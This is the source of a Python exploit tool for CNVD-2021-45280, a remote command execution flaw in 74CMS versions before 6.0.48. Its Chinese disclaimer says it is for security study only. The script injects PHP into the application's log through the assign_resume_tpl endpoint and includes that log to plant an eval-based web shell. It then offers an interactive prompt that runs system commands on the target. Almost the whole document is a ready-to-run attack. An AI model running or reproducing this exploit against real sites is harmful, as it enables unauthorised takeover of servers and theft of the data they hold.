1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
| """
声明：
本文为 漏洞编号 CNVD-2021-45280 ，即 74CMS < 6.0.48 远程命令执行漏洞利用工具源码内容
文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！
更多介绍请访问笔者博客：0xtlu.github.io
"""
from requests import Session
from time import strftime, time
from hashlib import md5
host = 'http://127.0.0.1/'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0'
}
def request(tpl):
url = '{host}index.php?m=home&a=assign_resume_tpl'.format(host=host)
data = {
'variable': 1,
'tpl': tpl
}
response = Session().post(url=url, headers=headers, data=data, timeout=5)
return response.status_code
def prove(tpl):
request(tpl)
effect = 'data/Runtime/Logs/Home/{data}.log'.format(data=strftime("%y_%m_%d"))
status_code = request(effect)
return status_code
def exist(shellname):
shellurl = '{host}'.format(host=host) + shellname + '.php'
text_data = Session().get(url=shellurl, headers=headers, timeout=5).status_code
if (text_data == 200):
return shellurl
def command(shellurl):
flag = 'whoami'
while (flag != '000'):
data = {'x': 'echo system("{flag}");'.format(flag=flag)}
try:
response = Session().post(url=shellurl, headers=headers, data=data, timeout=5)
if (response != None):
print(response.text)
else:
print('空界面！！！')
except:
print("错误！错误！异常抛出！！！")
flag = input('\033[5;31m》》》 \033[0m')
def shell():
shellname = md5(str(int(time())).encode(encoding='utf-8')).hexdigest()[3:9]
tpl = f'<?php fputs(fopen("{shellname}.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>'.format(
shellname=shellname)
print('开始 getshell……')
prove(tpl)
print('正在检测 shell 存在……')
shellurl = exist(shellname)
if (shellurl != None):
print('这是您的链接和密码：' + shellurl + ' 》》》 x\n希望您用餐愉快！\n是否进入 shell 模式(1/0)')
flag = input()
if (flag == '1'):
command(shellurl=shellurl)
else:
print('谢谢惠顾！')
else:
print('Oh……非常可惜，getshell 失败了！')
def window():
print('0. phpinfo()\n1. getshell')
inputvalue = input()
if (inputvalue == '0'):
print('phpinfo() 验证开始！请等待……')
tpl = '<?php phpinfo(); ob_flush();?>'
if (prove(tpl) == 200):
print('漏洞存在!')
elif (inputvalue == '1'):
shell()
else:
print('一面之缘！！！')
if __name__ == '__main__':
window()
|
